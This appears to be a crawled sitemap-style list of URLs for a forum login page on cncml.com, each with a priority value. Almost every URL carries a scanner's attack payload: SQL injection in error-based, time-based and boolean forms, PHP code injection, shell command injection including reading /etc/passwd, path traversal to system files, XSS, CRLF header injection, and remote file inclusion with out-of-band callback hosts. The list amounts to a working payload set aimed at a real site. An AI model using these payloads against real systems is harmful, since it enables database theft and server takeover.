http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes')%20AND%2032=97%20AND%20('Ux'='Ux 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes')%20AND%2073=73%20AND%20('aT'='aT 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(29=71)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20('nJ'='nJ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(71=71)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20('ti'='ti 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes';%20IF(72=72)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes';%20IF(77=85)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes);%20IF(11=11)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes);%20IF(81=54)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yes6633x3X6 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yesAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yesJyI%3D 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yesalert(42873) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginhash=LchhH&loginsubmit=yese360 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&frommessage&loginhash=LNeHc 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=%3Cdir 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=');print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=(SELECT%20(CASE%20WHEN%20(15=56)%20THEN%200x796573%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=(SELECT%20(CASE%20WHEN%20(22=22)%20THEN%200x796573%20ELSE%2022*(SELECT%2022%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=(SELECT%20(CASE%20WHEN%20(32=85)%20THEN%200x796573%20ELSE%2032*(SELECT%2032%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=(SELECT%20(CASE%20WHEN%20(41=41)%20THEN%200x796573%20ELSE%2041*(SELECT%2041%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=(SELECT%20(CASE%20WHEN%20(45=45)%20THEN%200x796573%20ELSE%2045*(SELECT%2045%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=(SELECT%20(CASE%20WHEN%20(45=45)%20THEN%200x796573%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=(SELECT%20(CASE%20WHEN%20(46=71)%20THEN%200x796573%20ELSE%2046*(SELECT%2046%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=(SELECT%20(CASE%20WHEN%20(61=39)%20THEN%200x796573%20ELSE%2061*(SELECT%2061%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=(SELECT%20(CASE%20WHEN%20(95=99)%20THEN%200x796573%20ELSE%2095*(SELECT%2095%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=................windowswin.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=;print(md5(1122));%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=C:%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=ELT(11=11,0x796573) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=ELT(11=77,0x796573) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=MAKE_SET(45=74,0x796573) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=MAKE_SET(75=75,0x796573) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=dir 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=file:///c:/boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=phpinfo 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=response.write(9412458*9542755) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=set%7Cset&set 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes 0.0021 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%00' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%20RLIKE%20(SELECT%20(CASE%20WHEN%20(26=26)%20THEN%200x796573%20ELSE%200x28%20END)) 0.0001 